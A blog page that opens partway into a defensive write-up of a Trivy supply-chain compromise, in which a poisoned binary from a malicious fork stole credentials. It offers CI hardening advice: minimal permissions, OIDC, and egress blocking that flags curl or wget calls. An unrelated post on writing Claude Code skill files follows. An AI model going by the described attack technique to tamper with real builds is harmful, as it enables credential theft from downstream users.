The attacker used a typosquatted domain (aquasecurtiy.org) to host the payloads. These Go files were then compiled into the official Trivy binary. When users downloaded the “official” v0.69.4 release, they were actually running a poisoned binary that could steal environment variables, cloud credentials, and source code.

Why SHA Pinning Failed

SHA pinning is designed to prevent Tag Hijacking. It ensures that the code you reviewed is the code that runs. However, it does not verify:

  1. Provenance: Is this SHA from the repository I think it is?
  2. Authorization: Was this commit signed by a trusted maintainer?

In the Trivy case, the SHA was valid, but it came from a malicious fork. GitHub’s UI often makes this hard to spot, as it will show the commit as belonging to the parent repo if you access it via the parent’s URL.

How to Actually Secure Your Pipelines

If SHA pinning isn’t enough, what is? We need a multi-layered defense strategy.

1. Enforce Least Privilege with Permissions

Most GitHub Actions workflows run with broad permissions by default. You should explicitly define the minimum permissions required.

permissions:
  contents: read
  id-token: write # Only if using OIDC

By setting contents: read, you prevent a compromised action from pushing malicious code back to your repository.

2. Use OpenSSF Scorecard

The OpenSSF Scorecard can automatically detect if you are using unpinned actions or if your dependencies are risky. Integrate it into your CI to fail builds that don’t meet security standards.

# Example Scorecard check
scorecard --repo=github.com/your/repo

3. Implement OIDC for Cloud Access

Never store long-lived AWS or GCP secrets in GitHub Actions. Use OpenID Connect (OIDC) to exchange a short-lived GitHub token for cloud credentials.

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::1234567890:role/my-github-role
    aws-region: us-east-1

4. Verify Commit Signatures

While GitHub doesn’t yet allow you to “only run signed actions,” you can use tools like step-security/harden-runner to monitor network outbound calls and detect unauthorized curl or wget commands during your build.

steps:
  - uses: step-security/harden-runner@v2
    with:
      egress-policy: block
      allowed-endpoints: 
        github.com:443
        proxy.golang.org:443

Conclusion

The Trivy attack is a wake-up call. Supply chain security isn’t a “set it and forget it” task. SHA pinning is a necessary first step, but it must be coupled with strict permissions, network monitoring, and automated security scoring.

Discussion Prompt: Have you audited your GitHub Actions for orphaned commit risks? What tools are you using to monitor CI/CD egress traffic?

Ameer Hamza is a Top-Rated Full-Stack Developer with 7+ years of experience building SaaS platforms, eCommerce solutions, and AI-powered applications. He specializes in Laravel, Vue.js, React, Next.js, and AI integrations—with 50+ projects shipped and a 100% job success rate. Check out his portfolio at ameer.pk to see his latest work, or reach out for your next development project.

I Built an AI Skill That Writes LinkedIn Posts — And Then Used It to Write This Post

I built an AI skill that writes LinkedIn posts. Then I used that skill to write the LinkedIn post about it.

That’s either very meta or very efficient. Probably both.

What Even Is a Claude Code Skill?

A skill is a folder with a Markdown file inside it. That Markdown file teaches Claude exactly how to handle a specific task — your tone, your format, your rules, your quirks.

No Python. No backend. No complex config. Just structured instructions.

The folder goes in ~/.claude/skills/. You invoke it with a slash command. Claude reads the instructions and executes them.

That’s it. The entire mechanism.

~/.claude/skills/
└── linkedin-post-creator/
    └── SKILL.md          ← this is the whole thing

It sounds too simple until you actually build one and realise how much you’ve just automated.

How Skills Are Loaded (The Smart Part)

What makes this more than just a text file is Claude’s progressive disclosure model:

  • Level 1 — always loaded: just the skill name and description (token-cheap, always visible)
  • Level 2 — loaded on trigger: the full SKILL.md instructions (only when you invoke it)
  • Level 3 — on demand: any scripts, references, or asset files bundled in the folder

Claude only loads what it needs, when it needs it. Your context window stays clean until you actually invoke the skill.

graph TD
    A[Session Start] --> B[Level 1: Load name + description only]
    B --> C{Skill invoked?}
    C -- Yes --> D[Level 2: Load SKILL.md instructions]
    D --> E{Scripts/references needed?}
    E -- Yes --> F[Level 3: Load on demand]
    E -- No --> G[Execute with SKILL.md only]
    C -- No --> H[Skills stay dormant — no context cost]

📌 Pro Tip: Keep your SKILL.md under 500 lines. Move heavy reference docs into a references/ subfolder — Claude loads them only when the task needs them.

🔧 Step 1: Pick Something You Do Repeatedly

The best skill candidates are tasks that:

  • Happen frequently
  • Have a consistent structure
  • Require you to re-explain your preferences every time

For me, writing LinkedIn posts checked all three. Every session I was re-explaining my tone, my formatting style, my target audience, my hashtag strategy. Same setup work, every time.

That’s a skill waiting to be built.

📝 Step 2: Write the SKILL.md

The SKILL.md has two parts: YAML frontmatter and a Markdown body.

---
name: linkedin-post-creator
description: "Creates LinkedIn posts in the author's personal voice and format.
  Use when asked to write a LinkedIn post, create content, or draft a professional
  update. Triggers: linkedin post, write post, social media content."
version: "1.0.0"
---

# LinkedIn Post Creator

You write LinkedIn posts in the author's personal voice.

## Voice and Tone
- Conversational but insightful
- First-person experience ("I built", "I tried", "Here's what happened")
- Hook in the first line — no slow warm-ups

## Format
- Short paragraphs, 2–3 lines max
- Emojis as visual anchors, not decoration
- Break ideas with --- dividers
- End with a question to drive comments
- 3–5 relevant hashtags at the bottom

## Workflow
1. Research the topic using live web data
2. Generate 3 complete post variations
3. Save all three to a timestamped file in the project

The description field is the most important. It tells Claude what the skill does and when to use it. Write it in third person with explicit trigger keywords — Claude uses this to decide whether to auto-invoke the skill when your request matches.

🤖 Step 3: Invoke It

Once the skill is in ~/.claude/skills/, invoking it is just:

/linkedin-post-creator grafana alert automation

Claude reads the SKILL.md, applies your voice and format, and generates content. With live web search hooked up (via Tavily MCP), it researches the topic first, then writes.

The output: three post variations, saved to a timestamped file automatically. What used to take 20–30 minutes of drafting and editing takes about 30 seconds of review and picking the best option.

💡 Step 4: Add Supporting Files (Optional but Powerful)

Skills can bundle more than just instructions:

~/.claude/skills/linkedin-post-creator/
├── SKILL.md                    ← instructions
├── references/
│   └── past-posts.md           ← examples of your best posts for calibration
├── examples/
│   └── sample-output.md        ← ideal output format
└── scripts/
    └── save-post.sh            ← auto-save to project folder

The references/ and scripts/ directories are only loaded on demand (Level 3). They don’t cost context tokens until needed.

📌 Pro Tip: Drop a few of your best past posts into references/past-posts.md. Claude will calibrate its output to match your actual style, not a generic version of it.

🚀 Step 5: Build Your First Skill With a Skill

Anthropic ships a skill-creator meta-skill in their official repo. It guides you through building other skills interactively — which is exactly as recursive as it sounds.

# 1. Download from the official repo
#    https://github.com/anthropics/skills/tree/main/skills/skill-creator

# 2. Drop it in your skills directory
cp -r skill-creator ~/.claude/skills/

# 3. Invoke it inside Claude Code
/skill-creator

It asks what you want to automate, walks you through defining the instructions, and generates the SKILL.md for you. Then it can also eval and benchmark the skill to make sure it triggers correctly.

If you’re not sure where to start, start here.

The Compounding Effect

Here’s what surprised me most: skills don’t just save time once. They compound.

After /linkedin-post-creator, I built:

  • /commit — structured git commit messages in my preferred format
  • /agent-builder — scaffolds new Claude agent configurations from a description
  • /breakdown — takes a product requirement and breaks it into epics and tasks
  • /tech-blog-generator — writes dev.to posts in my personal style (meta: this post was written with it)

Each took less than an hour. Each saves hours per month. And each one made the next faster to build — the pattern becomes automatic.

The mental model shifts: you stop thinking “how do I do this task” and start thinking “should I build a skill for this?”

graph LR
    A[Identify repetitive task] --> B[Write SKILL.md]
    B --> C[Invoke with /skill-name]
    C --> D[Iterate instructions]
    D --> E[Task automated]
    E --> F[Build next skill faster]
    F --> A

What I Learned About Writing Good Skill Instructions

A few things that made the difference between skills that work and skills that don’t:

Be explicit about WHEN to use it. Vague descriptions mean Claude either never auto-fires or fires at the wrong time. Add positive triggers (“use when writing a LinkedIn post”) and negative boundaries (“do not use for email drafts”).

Keep the body under 500 lines. Long skill files bloat Level 2 load. Move domain-specific docs to references/ and reference them by filename.

Add examples. An examples/ folder with ideal inputs and outputs calibrates Claude’s output style better than any amount of written instruction.

Iterate. Your first skill will be too vague. Use it once, notice what Claude gets wrong, tighten the instructions, try again. Skills improve through iteration, not perfection.

Why This Feels Different From Other AI Tools

I’ve used AI tools that need APIs, pipelines, and orchestration frameworks. Powerful for complex systems — overkill for daily workflow tasks.

Skills are the right abstraction for the right problem:

  • Portable — a folder you copy anywhere
  • Version-controllable — just text, lives in git
  • No infrastructure — no deployment, no API keys beyond what Claude already has
  • Hot-reload — Claude Code 2.1 detects edits to ~/.claude/skills/ without restarting the session

The closest analogy is a specialist who already knows your preferences. You don’t explain your style every time. You just assign the task.

✅ Zero infrastructure — a folder with a text file
✅ Persistent preferences — voice, format, and rules applied every time
✅ Composable — skills can reference other skills
✅ Compounding value — each skill makes the next faster to build
✅ Hot-reloadable — iterate without restarting your session

What Would You Automate First?

I’m curious what repetitive tasks you’re still doing manually that a skill could handle. Writing? Code review? Documentation? Stand-up summaries?

Drop it in the comments — I’d love to brainstorm.

👋 Let’s Connect

If you found this useful or want to compare skill setups, I’d love to connect.

🔗 Connect with me on LinkedIn
📧 Email: [email protected]

Building AI-native developer workflows, one skill at a time. 🚀